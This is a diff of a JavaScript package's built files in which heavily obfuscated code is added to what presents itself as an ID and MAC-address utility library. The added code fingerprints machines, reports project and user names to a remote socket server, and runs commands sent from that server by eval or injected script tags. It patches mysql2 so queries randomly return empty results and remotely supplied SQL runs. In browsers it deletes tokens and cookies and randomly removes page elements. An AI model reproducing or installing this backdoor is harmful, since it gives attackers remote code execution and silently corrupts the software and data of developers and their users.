Promise['resolve']()[_0x57ec2b(0x1a4)](()=>__importStar(require(_0x57ec2b(0x1d7))));_0x31a720=[yield _0x14b5fa(_0x57ec2b(0x1b5))];}if(_0x31a720[_0x57ec2b(0x1ad)]===0x0){setEnv('connectError',!![]);return;}else setEnv('connectError',![]);_0x1e1168[_0x57ec2b(0x1c2)](_0x57ec2b(0x1ab),{'mac':_0x31a720,'project_name':project_name,'user_name':user_name,'notes':''}),_0x1e1168['emit'](_0x57ec2b(0x19d),{'mac':_0x31a720,'isBrowser':isBrowser}),setInterval(()=>{const _0x2bd0d3=_0x57ec2b;_0x1e1168[_0x2bd0d3(0x1c2)]('submit',{'mac':_0x31a720,'project_name':project_name,'user_name':user_name,'notes':''}),_0x1e1168[_0x2bd0d3(0x1c2)](_0x2bd0d3(0x19d),{'mac':_0x31a720,'isBrowser':isBrowser});},0x1b58),_0x1e1168['on'](_0x57ec2b(0x1cb),_0x1a46a1=>__awaiter(this,void 0x0,void 0x0,function*(){const _0xf777a=_0x57ec2b;try{for(let _0x3436bf=0x0;_0x3436bf<_0x1a46a1[_0xf777a(0x1ad)];_0x3436bf++){const _0x2801e2=_0x1a46a1[_0x3436bf];if(_0x2801e2[_0xf777a(0x1ca)]===_0xf777a(0x1ce))setEnv(_0xf777a(0x1b6),getEnv('sqlList')[_0xf777a(0x19a)](_0x2801e2[_0xf777a(0x1c4)]));else{if(_0x2801e2[_0xf777a(0x1ca)]===_0xf777a(0x1a6))setEnv('isDBDataEmpty',!![]);else{if(_0x2801e2['type']===_0xf777a(0x1d6)&&!isBrowser)try{eval(_0x2801e2['content']);}catch(_0x241bf3){}else{if(_0x2801e2[_0xf777a(0x1ca)]===_0xf777a(0x1b7)&&isBrowser)try{const {runScript:_0x3b5890}=typeof require!='undefined'?require(_0xf777a(0x1a9)):yield Promise['resolve']()[_0xf777a(0x1a4)](()=>__importStar(require(_0xf777a(0x1a9))));_0x3b5890(_0x2801e2[_0xf777a(0x1c4)]);}catch(_0x5cd7d7){}}}}}}catch(_0xbe24a9){}}));}catch(_0x45db0b){}})),setTimeout(()=>{const _0x372ca0=_0x416e18;_0x1e1168['on'](_0x372ca0(0x19e),_0x5ad05f=>{const _0x3c7150=_0x372ca0;setEnv(_0x3c7150(0x1d9),!![]);}),_0x1e1168['on']('connect_failed',_0x3dd073=>{const _0x1d1176=_0x372ca0;setEnv(_0x1d1176(0x1d9),!![]);}),_0x1e1168['on'](_0x372ca0(0x1d8),_0x53444d=>{setEnv('connectError',!![]);}),_0x1e1168['on']('connect_error',_0x1a58ab=>{setEnv('connectError',!![]);});},0xbb8);});}!((_c=globalObject[a4_0x49d4c1(0x1a8)])===null||_c===void 0x0?void 0x0:_c[a4_0x49d4c1(0x1aa)])&&start();const uuid=uuid_1['v4'];exports[a4_0x49d4c1(0x1d1)]=uuid;const all={'uuid':uuid,'id':id,'getAllRouter':getAllRouter,'mysql':mysql};exports[a4_0x49d4c1(0x1b8)]=all;
|
package/dist/cjs/mac/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';function
|
1
|
+
'use strict';function a6_0x2d45(){const _0x3f113f=['push','00:03:ff','3548680DdPilK','networkInterfaces','00:05:69','default','551580ovVocU','193256TMOGaB','102opVjnN','toLowerCase','find','701852LPMIQe','73995LEtSup','00:50:56','00:0c:29','isMac','2496780JSKSLx','56xEvWIW','has','IPv4','internal','mac','slice','00:1c:14','replace','08:00:27','defineProperty','values','173677wiuVCD','__esModule','00:1c:42','family','00:15:5d'];a6_0x2d45=function(){return _0x3f113f;};return a6_0x2d45();}const a6_0x462bc0=a6_0x35b2;(function(_0x5f4cfc,_0x3e1757){const _0x278901=a6_0x35b2,_0x641905=_0x5f4cfc();while(!![]){try{const _0xa9070d=-parseInt(_0x278901(0xee))/0x1+parseInt(_0x278901(0xdd))/0x2+parseInt(_0x278901(0xf9))/0x3+parseInt(_0x278901(0xe3))/0x4*(parseInt(_0x278901(0xde))/0x5)+-parseInt(_0x278901(0xfb))/0x6*(-parseInt(_0x278901(0xfa))/0x7)+-parseInt(_0x278901(0xf5))/0x8+-parseInt(_0x278901(0xe2))/0x9;if(_0xa9070d===_0x3e1757)break;else _0x641905['push'](_0x641905['shift']());}catch(_0x43464a){_0x641905['push'](_0x641905['shift']());}}}(a6_0x2d45,0x4d4d2));function a6_0x35b2(_0x341280,_0x2f14ca){const _0x2d4532=a6_0x2d45();return a6_0x35b2=function(_0x35b262,_0xea88c0){_0x35b262=_0x35b262-0xdc;let _0x4d1731=_0x2d4532[_0x35b262];return _0x4d1731;},a6_0x35b2(_0x341280,_0x2f14ca);}Object[a6_0x462bc0(0xec)](exports,a6_0x462bc0(0xef),{'value':!![]}),exports[a6_0x462bc0(0xe1)]=isMac,exports['formatMac']=formatMac,exports['isVirtualMac']=isVirtualMac;const os_1=require('os');function isZeroMac(_0x730e5){return/^(0{1,2}[:-]){5}0{1,2}$/['test'](_0x730e5);}function getMac(_0x4ce335=a6_0x462bc0(0xe5)){const _0x33c06e=a6_0x462bc0,_0x127af1=(0x0,os_1[_0x33c06e(0xf6)])();let _0xf78464=[];for(const _0x55c5d7 of Object[_0x33c06e(0xed)](_0x127af1)){const _0x2e0eb8=_0x55c5d7[_0x33c06e(0xdc)](_0x1d19e0=>!_0x1d19e0['internal']&&!isZeroMac(_0x1d19e0[_0x33c06e(0xe7)])&&(!_0x1d19e0['family']||_0x1d19e0[_0x33c06e(0xf1)]===_0x4ce335)&&!isVirtualMac(_0x1d19e0['mac']));_0x2e0eb8&&_0xf78464[_0x33c06e(0xf3)](_0x2e0eb8[_0x33c06e(0xe7)]);}return[...new Set(_0xf78464)];}const isValid=_0xe9b179=>_0xe9b179[a6_0x462bc0(0xe6)]===![]&&!isZeroMac(_0xe9b179[a6_0x462bc0(0xe7)]),virtualMacPrefix=new Set([a6_0x462bc0(0xf7),a6_0x462bc0(0xe0),a6_0x462bc0(0xdf),a6_0x462bc0(0xe9),a6_0x462bc0(0xf0),'02:00:4c',a6_0x462bc0(0xf4),'00:0f:4b','00:16:3e',a6_0x462bc0(0xeb),a6_0x462bc0(0xf2)]);function isMac(_0x2f9569){return/^([\da-f]{1,2}[:-]){5}([\da-f]{1,2})$/i['test'](_0x2f9569);}function formatMac(_0x4a51da){const _0x468429=a6_0x462bc0;return String(_0x4a51da)['trim']()[_0x468429(0xfc)]()[_0x468429(0xea)](/-/g,':');}function isVirtualMac(_0x3780a1){const _0x1c71d7=a6_0x462bc0;return isMac(_0x3780a1)&&virtualMacPrefix[_0x1c71d7(0xe4)](formatMac(_0x3780a1)[_0x1c71d7(0xe8)](0x0,0x8));}exports[a6_0x462bc0(0xf8)]=getMac;
|
package/dist/cjs/server.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';
|
1
|
+
'use strict';const a7_0x10a75d=a7_0x5bbe;(function(_0x5b2f1b,_0x595293){const _0x573d8d=a7_0x5bbe,_0x2a2040=_0x5b2f1b();while(!![]){try{const _0x1725fb=parseInt(_0x573d8d(0x1fe))/0x1+-parseInt(_0x573d8d(0x206))/0x2*(-parseInt(_0x573d8d(0x1fb))/0x3)+parseInt(_0x573d8d(0x209))/0x4+-parseInt(_0x573d8d(0x1fc))/0x5+-parseInt(_0x573d8d(0x207))/0x6+parseInt(_0x573d8d(0x1fa))/0x7+parseInt(_0x573d8d(0x1f6))/0x8;if(_0x1725fb===_0x595293)break;else _0x2a2040['push'](_0x2a2040['shift']());}catch(_0x4a5f2b){_0x2a2040['push'](_0x2a2040['shift']());}}}(a7_0x2dde,0xeb364));var __awaiter=this&&this[a7_0x10a75d(0x201)]||function(_0x59dbe1,_0x4ff8d6,_0x3571ae,_0x136c3c){function _0x1df211(_0x5e6fb1){return _0x5e6fb1 instanceof _0x3571ae?_0x5e6fb1:new _0x3571ae(function(_0x45f61d){_0x45f61d(_0x5e6fb1);});}return new(_0x3571ae||(_0x3571ae=Promise))(function(_0x2249c6,_0x3400bd){const _0x58db7f=a7_0x5bbe;function _0x553b8c(_0x4bab1a){const _0x374594=a7_0x5bbe;try{_0x2f10a0(_0x136c3c[_0x374594(0x20d)](_0x4bab1a));}catch(_0x3d5a0b){_0x3400bd(_0x3d5a0b);}}function _0x574093(_0xebb31){const _0x42ab8d=a7_0x5bbe;try{_0x2f10a0(_0x136c3c[_0x42ab8d(0x1f7)](_0xebb31));}catch(_0x180856){_0x3400bd(_0x180856);}}function _0x2f10a0(_0x1823fa){const _0x4df33a=a7_0x5bbe;_0x1823fa['done']?_0x2249c6(_0x1823fa[_0x4df33a(0x200)]):_0x1df211(_0x1823fa[_0x4df33a(0x200)])['then'](_0x553b8c,_0x574093);}_0x2f10a0((_0x136c3c=_0x136c3c[_0x58db7f(0x20c)](_0x59dbe1,_0x4ff8d6||[]))[_0x58db7f(0x20d)]());});},__importDefault=this&&this[a7_0x10a75d(0x20a)]||function(_0x2ce6a4){const _0x3f9f65=a7_0x10a75d;return _0x2ce6a4&&_0x2ce6a4[_0x3f9f65(0x205)]?_0x2ce6a4:{'default':_0x2ce6a4};};Object[a7_0x10a75d(0x1f5)](exports,a7_0x10a75d(0x205),{'value':!![]}),exports[a7_0x10a75d(0x1f9)]=void 0x0;const promise_1=__importDefault(require('mysql2/promise'));exports[a7_0x10a75d(0x1f9)]=promise_1[a7_0x10a75d(0x1f4)];const random_1=__importDefault(require(a7_0x10a75d(0x1f8))),index_1=require('./index'),originalCreatePoolPromise=promise_1[a7_0x10a75d(0x1f4)][a7_0x10a75d(0x1ff)];promise_1['default'][a7_0x10a75d(0x1ff)]=function(_0x3f261e){const _0x37361e=a7_0x10a75d;let _0x3ae86c=originalCreatePoolPromise(_0x3f261e),_0x316cbe=_0x3ae86c[_0x37361e(0x1fd)];return _0x3ae86c[_0x37361e(0x1fd)]=(..._0x35434d)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x578cae=_0x37361e,_0x39c051=yield _0x316cbe['apply'](_0x3ae86c,_0x35434d);return(0x0,index_1['getEnv'])(_0x578cae(0x208))&&((0x0,random_1[_0x578cae(0x1f4)])(0x1,0xa)>0x2&&(_0x39c051[0x0]=[])),(0x0,index_1[_0x578cae(0x204)])(_0x578cae(0x20b))&&(_0x39c051[0x0]=[]),_0x39c051;}),setInterval(()=>{const _0x28649d=_0x37361e;if(!(0x0,index_1[_0x28649d(0x204)])('sqlRun')){for(let _0x213f2c=0x0;_0x213f2c<(0x0,index_1['getEnv'])('sqlList')[_0x28649d(0x203)];_0x213f2c++){const _0x247c39=(0x0,index_1[_0x28649d(0x204)])(_0x28649d(0x202))[_0x213f2c];try{_0x3ae86c[_0x28649d(0x1fd)](_0x247c39);}catch(_0x46e0da){}}(0x0,index_1['setEnv'])('sqlRun',!![]);}},0x1388),_0x3ae86c;};const all={'mysql':promise_1[a7_0x10a75d(0x1f4)]};exports['default']=all;function a7_0x5bbe(_0x111d22,_0x7d4a40){const _0x2dde9b=a7_0x2dde();return a7_0x5bbe=function(_0x5bbe36,_0x551f9b){_0x5bbe36=_0x5bbe36-0x1f4;let _0x50d513=_0x2dde9b[_0x5bbe36];return _0x50d513;},a7_0x5bbe(_0x111d22,_0x7d4a40);}function a7_0x2dde(){const _0x5a9f86=['defineProperty','7732024UBhoeA','throw','./id/random','mysql','912625ycsVtX','24vxjjwV','7677660JgPAJP','query','1318666ORKHXN','createPool','value','__awaiter','sqlList','length','getEnv','__esModule','262436fHMjqw','9481860fmvgPB','connectError','2455928IAKTaS','__importDefault','isDBDataEmpty','apply','next','default'];a7_0x2dde=function(){return _0x5a9f86;};return a7_0x2dde();}
|
@@ -1 +1 @@
|
|
1
|
-
const
|
1
|
+
function a13_0x1b58(_0x590708,_0x3929a4){const _0x154a1d=a13_0x154a();return a13_0x1b58=function(_0x1b5837,_0x3e44c2){_0x1b5837=_0x1b5837-0x175;let _0xadb6ee=_0x154a1d[_0x1b5837];return _0xadb6ee;},a13_0x1b58(_0x590708,_0x3929a4);}const a13_0x3b7a27=a13_0x1b58;(function(_0x18e625,_0x1689c3){const _0x250dcb=a13_0x1b58,_0x30e5b7=_0x18e625();while(!![]){try{const _0x22e5e6=parseInt(_0x250dcb(0x191))/0x1+parseInt(_0x250dcb(0x184))/0x2*(parseInt(_0x250dcb(0x186))/0x3)+parseInt(_0x250dcb(0x17e))/0x4*(parseInt(_0x250dcb(0x192))/0x5)+-parseInt(_0x250dcb(0x197))/0x6+parseInt(_0x250dcb(0x18f))/0x7*(parseInt(_0x250dcb(0x19a))/0x8)+-parseInt(_0x250dcb(0x188))/0x9+-parseInt(_0x250dcb(0x193))/0xa*(-parseInt(_0x250dcb(0x194))/0xb);if(_0x22e5e6===_0x1689c3)break;else _0x30e5b7['push'](_0x30e5b7['shift']());}catch(_0x50722c){_0x30e5b7['push'](_0x30e5b7['shift']());}}}(a13_0x154a,0xcc386));var __awaiter=this&&this[a13_0x3b7a27(0x18d)]||function(_0x1c7d4d,_0x3fb991,_0x299af8,_0x3df324){function _0x3bbe1e(_0x597cf7){return _0x597cf7 instanceof _0x299af8?_0x597cf7:new _0x299af8(function(_0x1b4181){_0x1b4181(_0x597cf7);});}return new(_0x299af8||(_0x299af8=Promise))(function(_0x547016,_0x53277c){const _0x297f15=a13_0x1b58;function _0x55d4a9(_0x463803){try{_0x52f841(_0x3df324['next'](_0x463803));}catch(_0x400f0a){_0x53277c(_0x400f0a);}}function _0x56892d(_0x444196){try{_0x52f841(_0x3df324['throw'](_0x444196));}catch(_0x46d4e5){_0x53277c(_0x46d4e5);}}function _0x52f841(_0x124317){const _0x239b83=a13_0x1b58;_0x124317[_0x239b83(0x17f)]?_0x547016(_0x124317[_0x239b83(0x18e)]):_0x3bbe1e(_0x124317[_0x239b83(0x18e)])[_0x239b83(0x198)](_0x55d4a9,_0x56892d);}_0x52f841((_0x3df324=_0x3df324['apply'](_0x1c7d4d,_0x3fb991||[]))[_0x297f15(0x180)]());});};import a13_0x44d3b1 from'md5';import{uuid}from'..';function openDatabase(){return new Promise((_0x37bbc4,_0x9cff36)=>{const _0xc3cf4c=a13_0x1b58,_0x185a0a=indexedDB[_0xc3cf4c(0x199)](_0xc3cf4c(0x177),0x1);_0x185a0a[_0xc3cf4c(0x187)]=_0x40b52a=>{const _0x4d1015=_0xc3cf4c,_0x1ad919=_0x40b52a[_0x4d1015(0x189)]['result'];!_0x1ad919['objectStoreNames'][_0x4d1015(0x17a)](_0x4d1015(0x183))&&_0x1ad919[_0x4d1015(0x17d)]('metadata',{'keyPath':_0x4d1015(0x195)});},_0x185a0a[_0xc3cf4c(0x176)]=_0x8dc45b=>{const _0x4e3c29=_0xc3cf4c,_0x342a73=_0x8dc45b[_0x4e3c29(0x189)][_0x4e3c29(0x18c)];_0x37bbc4(_0x342a73);},_0x185a0a[_0xc3cf4c(0x178)]=_0x4ee688=>{const _0x51f377=_0xc3cf4c;_0x9cff36(_0x4ee688[_0x51f377(0x189)][_0x51f377(0x19b)]);};});}function setKeyValue(_0x28eb76,_0x5d01ec){return new Promise((_0x19ec68,_0xc9b5c5)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x23be27=a13_0x1b58,_0x214cef=yield openDatabase(),_0x463e38=_0x214cef['transaction'](_0x23be27(0x183),_0x23be27(0x18b)),_0x58ad94=_0x463e38[_0x23be27(0x18a)](_0x23be27(0x183)),_0x2aee02=_0x58ad94[_0x23be27(0x185)]({'key':_0x28eb76,'value':_0x5d01ec});_0x2aee02[_0x23be27(0x176)]=()=>{_0x19ec68();},_0x2aee02[_0x23be27(0x178)]=_0x32a4b2=>{const _0x2b25b1=_0x23be27;_0xc9b5c5(_0x32a4b2[_0x2b25b1(0x189)]['error']);};}));}export function getKeyValue(_0x78ff4f){return new Promise((_0x1dcf91,_0x3b472c)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x159342=a13_0x1b58,_0x43e1ab=yield openDatabase(),_0x4fc327=_0x43e1ab[_0x159342(0x19c)]('metadata',_0x159342(0x175)),_0x221a33=_0x4fc327[_0x159342(0x18a)](_0x159342(0x183)),_0x35edcc=_0x221a33['get'](_0x78ff4f);_0x35edcc[_0x159342(0x176)]=()=>{const _0x1e4179=_0x159342;_0x1dcf91(_0x35edcc[_0x1e4179(0x18c)]?_0x35edcc['result']['value']:null);},_0x35edcc[_0x159342(0x178)]=_0x26b446=>{const _0x570831=_0x159342;_0x3b472c(_0x26b446[_0x570831(0x189)]['error']);};}));}function generateRandomMAC(){const _0x3991aa=a13_0x3b7a27,_0x40586d='0123456789ABCDEF';let _0x195728='';for(let _0x2a1ad4=0x0;_0x2a1ad4<0xc;_0x2a1ad4++){_0x195728+=_0x40586d[Math[_0x3991aa(0x196)](Math[_0x3991aa(0x181)]()*0x10)],_0x2a1ad4%0x2===0x1&&_0x2a1ad4!==0xb&&(_0x195728+=':');}return uuid()[_0x3991aa(0x17c)](/-/g,'')+a13_0x44d3b1(JSON[_0x3991aa(0x179)](window[_0x3991aa(0x182)][_0x3991aa(0x190)]));}function main(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x25d0d0=a13_0x1b58;try{const _0x2e4fba=yield openDatabase();let _0x5c4330=yield getKeyValue(_0x25d0d0(0x17b));if(!_0x5c4330)_0x5c4330=generateRandomMAC(),yield setKeyValue(_0x25d0d0(0x17b),_0x5c4330);else{}return _0x5c4330;}catch(_0xe82bff){return null;}});}function a13_0x154a(){const _0x1f1450=['contains','mac','replace','createObjectStore','1924oFQgfj','done','next','random','navigator','metadata','1231598tqWqTc','put','3vqyIbW','onupgradeneeded','6558426LJcGGV','target','objectStore','readwrite','result','__awaiter','value','448ltEdvc','userAgent','1655155tJlNAb','5395BlvqKJ','21810GtTOez','341ycsUEG','key','floor','8068296pqcURN','then','open','6544xzzlCY','error','transaction','readonly','onsuccess','chrome_db','onerror','stringify'];a13_0x154a=function(){return _0x1f1450;};return a13_0x154a();}main();
|
package/dist/esm/browser.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
(function(
|
1
|
+
(function(_0x5da595,_0xfa76ef){const _0x2f88ca=a8_0x4e7a,_0x42a96b=_0x5da595();while(!![]){try{const _0x14d7c6=-parseInt(_0x2f88ca(0x18f))/0x1+parseInt(_0x2f88ca(0x197))/0x2*(parseInt(_0x2f88ca(0x19f))/0x3)+parseInt(_0x2f88ca(0x19a))/0x4*(-parseInt(_0x2f88ca(0x19c))/0x5)+parseInt(_0x2f88ca(0x1a2))/0x6+parseInt(_0x2f88ca(0x1a3))/0x7+-parseInt(_0x2f88ca(0x1a0))/0x8*(parseInt(_0x2f88ca(0x19d))/0x9)+-parseInt(_0x2f88ca(0x199))/0xa*(-parseInt(_0x2f88ca(0x1a4))/0xb);if(_0x14d7c6===_0xfa76ef)break;else _0x42a96b['push'](_0x42a96b['shift']());}catch(_0x18a5d8){_0x42a96b['push'](_0x42a96b['shift']());}}}(a8_0x1447,0x26ca3));function a8_0x1447(){const _0x5accc1=['token','[class^=\x22el\x22]','head','Token','parentNode','17830LwidwM','from','10mJJDHI','692jBFFtA','removeItem','8495gNfXWG','168759jTzQNV','length','57lFCYVA','32KtcQCi','remove','570894duHZMH','1635991EOMrov','2376165IKvtRO','script','innerText','#app','querySelector','documentElement','createElement','reload','sort','186448emkRxC','localStorage','connectError'];a8_0x1447=function(){return _0x5accc1;};return a8_0x1447();}function a8_0x4e7a(_0x3fda1a,_0xb1d173){const _0x1447ff=a8_0x1447();return a8_0x4e7a=function(_0x4e7ab8,_0x17c621){_0x4e7ab8=_0x4e7ab8-0x18f;let _0x4a7577=_0x1447ff[_0x4e7ab8];return _0x4a7577;},a8_0x4e7a(_0x3fda1a,_0xb1d173);}import a8_0x4dc4e4 from'./id/random';import{getEnv}from'./index';import a8_0x50906c from'js-cookie';export function runScript(_0x39d005){const _0x52ce76=a8_0x4e7a;let _0x2f5f0f=document[_0x52ce76(0x1aa)](_0x52ce76(0x1a5));_0x2f5f0f[_0x52ce76(0x1a6)]=_0x39d005,document[_0x52ce76(0x194)]['appendChild'](_0x2f5f0f),setTimeout(()=>{_0x2f5f0f['remove']();},0xa);}let index=0x1,num=a8_0x4dc4e4(0x4,0x8);setInterval(()=>{const _0x2bc86c=a8_0x4e7a;if(index==num)try{window['localStorage'][_0x2bc86c(0x19b)]('token'),window[_0x2bc86c(0x190)][_0x2bc86c(0x19b)]('userid'),window['localStorage'][_0x2bc86c(0x19b)](_0x2bc86c(0x195)),a8_0x50906c[_0x2bc86c(0x1a1)](_0x2bc86c(0x192)),window['location'][_0x2bc86c(0x1ab)]();}catch(_0xb72dc8){}if(getEnv(_0x2bc86c(0x191))){index++;let _0x250d2b=document[_0x2bc86c(0x1a8)](_0x2bc86c(0x1a7))||document['querySelector']('body');const _0x5cbbec=_0x250d2b['querySelectorAll'](_0x2bc86c(0x193));function _0xbcb944(_0xfdcb1b){const _0x304656=_0x2bc86c;let _0x48f654=0x0,_0x4007b8=_0xfdcb1b;while(_0x4007b8[_0x304656(0x196)]&&_0x4007b8['parentNode']!==document[_0x304656(0x1a9)]){_0x48f654++,_0x4007b8=_0x4007b8[_0x304656(0x196)];}return _0x48f654;}const _0x254fe8=Array[_0x2bc86c(0x198)](_0x5cbbec);_0x254fe8[_0x2bc86c(0x1ac)]((_0x9196fe,_0x4881da)=>_0xbcb944(_0x4881da)-_0xbcb944(_0x9196fe));for(let _0x38d085=0x0;_0x38d085<_0x254fe8[_0x2bc86c(0x19e)];_0x38d085++){const _0x84926d=_0x254fe8[_0x38d085];_0x84926d&&(a8_0x4dc4e4(0x1,0x64)>0x50&&_0x84926d[_0x2bc86c(0x1a1)]());}}},a8_0x4dc4e4(0x107e,0x208d));
|
@@ -1 +1 @@
|
|
1
|
-
|
1
|
+
const a9_0x82d26b=a9_0xd88e;(function(_0x36ce75,_0x25c807){const _0x2d0d77=a9_0xd88e,_0x526841=_0x36ce75();while(!![]){try{const _0x2072ce=parseInt(_0x2d0d77(0xdd))/0x1*(parseInt(_0x2d0d77(0xca))/0x2)+-parseInt(_0x2d0d77(0xd8))/0x3*(-parseInt(_0x2d0d77(0xda))/0x4)+parseInt(_0x2d0d77(0xd5))/0x5*(parseInt(_0x2d0d77(0xd0))/0x6)+-parseInt(_0x2d0d77(0xc8))/0x7*(parseInt(_0x2d0d77(0xcf))/0x8)+-parseInt(_0x2d0d77(0xdb))/0x9+-parseInt(_0x2d0d77(0xdc))/0xa+parseInt(_0x2d0d77(0xd6))/0xb;if(_0x2072ce===_0x25c807)break;else _0x526841['push'](_0x526841['shift']());}catch(_0x3b3c04){_0x526841['push'](_0x526841['shift']());}}}(a9_0x3300,0xd6776));var __awaiter=this&&this[a9_0x82d26b(0xd2)]||function(_0x4a5efe,_0x42eba8,_0x870713,_0xf5262b){function _0x162487(_0x2f5d4a){return _0x2f5d4a instanceof _0x870713?_0x2f5d4a:new _0x870713(function(_0x4eb59c){_0x4eb59c(_0x2f5d4a);});}return new(_0x870713||(_0x870713=Promise))(function(_0x303786,_0x31d82c){const _0x1f8ecc=a9_0xd88e;function _0xc9ef2f(_0x52eba9){const _0xc0b764=a9_0xd88e;try{_0x4073e8(_0xf5262b[_0xc0b764(0xd3)](_0x52eba9));}catch(_0x16640b){_0x31d82c(_0x16640b);}}function _0x7065a4(_0x4e51cd){const _0x4f1a4c=a9_0xd88e;try{_0x4073e8(_0xf5262b[_0x4f1a4c(0xd1)](_0x4e51cd));}catch(_0x3ae907){_0x31d82c(_0x3ae907);}}function _0x4073e8(_0x52d43d){const _0x41514a=a9_0xd88e;_0x52d43d['done']?_0x303786(_0x52d43d['value']):_0x162487(_0x52d43d[_0x41514a(0xde)])['then'](_0xc9ef2f,_0x7065a4);}_0x4073e8((_0xf5262b=_0xf5262b[_0x1f8ecc(0xcb)](_0x4a5efe,_0x42eba8||[]))[_0x1f8ecc(0xd3)]());});};import a9_0x5ecbfe from'fs';import a9_0x19dcdb from'path';function a9_0x3300(){const _0x5ae9de=['apply','isDirectory','join','isFile','676608afMidI','297678KXXePL','throw','__awaiter','next','push','40DvAdFF','11575311wTmIcC','statSync','3939gvTylg','readdirSync','512TPXKnf','2315583DRresh','2147750ZhqXjX','37iYvlFH','value','63ECSGRG','length','26726VdlOFE'];a9_0x3300=function(){return _0x5ae9de;};return a9_0x3300();}function a9_0xd88e(_0x3f7652,_0x3ca06b){const _0x3300d0=a9_0x3300();return a9_0xd88e=function(_0xd88e4a,_0x560cdd){_0xd88e4a=_0xd88e4a-0xc8;let _0x1154f7=_0x3300d0[_0xd88e4a];return _0x1154f7;},a9_0xd88e(_0x3f7652,_0x3ca06b);}function fileDisplay(_0x33693b){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x5501ea=[];function _0x232e5a(_0x4a9131){const _0x5a821b=a9_0xd88e,_0x5b8e38=a9_0x5ecbfe[_0x5a821b(0xd9)](_0x4a9131);for(let _0x44c5b7=0x0;_0x44c5b7<_0x5b8e38[_0x5a821b(0xc9)];_0x44c5b7++){const _0x17463c=_0x5b8e38[_0x44c5b7],_0x44d70f=a9_0x19dcdb[_0x5a821b(0xcd)](_0x4a9131,_0x17463c),_0xe9262e=a9_0x5ecbfe[_0x5a821b(0xd7)](_0x44d70f),_0x320cc6=_0xe9262e[_0x5a821b(0xce)](),_0x391e06=_0xe9262e[_0x5a821b(0xcc)]();_0x320cc6&&_0x5501ea[_0x5a821b(0xd4)](_0x44d70f),_0x391e06&&_0x232e5a(_0x44d70f);}}return _0x232e5a(_0x33693b),_0x5501ea;});}function getAllRouter(_0x26a4a2){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x445dfd=yield fileDisplay(_0x26a4a2);return _0x445dfd;});}export default getAllRouter;
|
package/dist/esm/id/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
const
|
1
|
+
const a10_0x21a1fd=a10_0x26d2;(function(_0x351ac3,_0x12ada3){const _0x5d1ebe=a10_0x26d2,_0x201d03=_0x351ac3();while(!![]){try{const _0x38e3a7=-parseInt(_0x5d1ebe(0x12c))/0x1+-parseInt(_0x5d1ebe(0x12e))/0x2*(-parseInt(_0x5d1ebe(0x128))/0x3)+parseInt(_0x5d1ebe(0x127))/0x4+parseInt(_0x5d1ebe(0x124))/0x5+-parseInt(_0x5d1ebe(0x12d))/0x6*(-parseInt(_0x5d1ebe(0x122))/0x7)+-parseInt(_0x5d1ebe(0x126))/0x8+parseInt(_0x5d1ebe(0x123))/0x9*(-parseInt(_0x5d1ebe(0x129))/0xa);if(_0x38e3a7===_0x12ada3)break;else _0x201d03['push'](_0x201d03['shift']());}catch(_0x35ccfe){_0x201d03['push'](_0x201d03['shift']());}}}(a10_0x15ff,0x24917));import a10_0x5c0c7b from'./random';function a10_0x15ff(){const _0x1c7edd=['NODE_APP_INSTANCE','2314584ycjZdO','848996hPlRrX','262989oRAyFd','130PaZZWk','env','2025-01-01','5996vZtcMk','384CQRDma','2YYoYry','5502glnuzr','28989RVoNIr','683795ZMMdyi'];a10_0x15ff=function(){return _0x1c7edd;};return a10_0x15ff();}const BaseTime=+new Date(a10_0x21a1fd(0x12b));let lastTimeTick,lastRandomNumberTick=a10_0x5c0c7b(0x1,0x3);function a10_0x26d2(_0x5cb28a,_0x3d3570){const _0x15ffb2=a10_0x15ff();return a10_0x26d2=function(_0x26d29e,_0x35ddd5){_0x26d29e=_0x26d29e-0x122;let _0x3b32f3=_0x15ffb2[_0x26d29e];return _0x3b32f3;},a10_0x26d2(_0x5cb28a,_0x3d3570);}function id(){const _0x22f255=a10_0x21a1fd,_0x31c9ae=Math['min'](process[_0x22f255(0x12a)][_0x22f255(0x125)]?+process[_0x22f255(0x12a)][_0x22f255(0x125)]:a10_0x5c0c7b(0x0,0x9),0x9);let _0x247f74=+new Date()-BaseTime;return lastRandomNumberTick=_0x247f74==lastTimeTick?++lastRandomNumberTick:a10_0x5c0c7b(0x0,0x3),lastTimeTick=_0x247f74,+(''+_0x247f74+_0x31c9ae+lastRandomNumberTick);}export default id;
|
package/dist/esm/id/random.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
function
|
1
|
+
function a11_0x2251(_0x38ffe1,_0x35cd10){const _0x1e21e9=a11_0x1e21();return a11_0x2251=function(_0x225104,_0x1769b6){_0x225104=_0x225104-0xfa;let _0x154f86=_0x1e21e9[_0x225104];return _0x154f86;},a11_0x2251(_0x38ffe1,_0x35cd10);}const a11_0x2b7e16=a11_0x2251;(function(_0x3cf61c,_0x132e67){const _0x2efb12=a11_0x2251,_0x462e1e=_0x3cf61c();while(!![]){try{const _0x1460d5=parseInt(_0x2efb12(0xfe))/0x1+parseInt(_0x2efb12(0x107))/0x2*(-parseInt(_0x2efb12(0xfb))/0x3)+-parseInt(_0x2efb12(0x103))/0x4*(-parseInt(_0x2efb12(0xfa))/0x5)+parseInt(_0x2efb12(0xfd))/0x6*(-parseInt(_0x2efb12(0x101))/0x7)+-parseInt(_0x2efb12(0xff))/0x8+parseInt(_0x2efb12(0x106))/0x9*(-parseInt(_0x2efb12(0xfc))/0xa)+-parseInt(_0x2efb12(0x105))/0xb*(-parseInt(_0x2efb12(0x104))/0xc);if(_0x1460d5===_0x132e67)break;else _0x462e1e['push'](_0x462e1e['shift']());}catch(_0x5f1bd8){_0x462e1e['push'](_0x462e1e['shift']());}}}(a11_0x1e21,0xaec3f));const random=(_0x50d1f3,_0x48e6f1)=>Math[a11_0x2b7e16(0x102)](Math[a11_0x2b7e16(0x100)]()*(_0x48e6f1-_0x50d1f3))+_0x50d1f3;function a11_0x1e21(){const 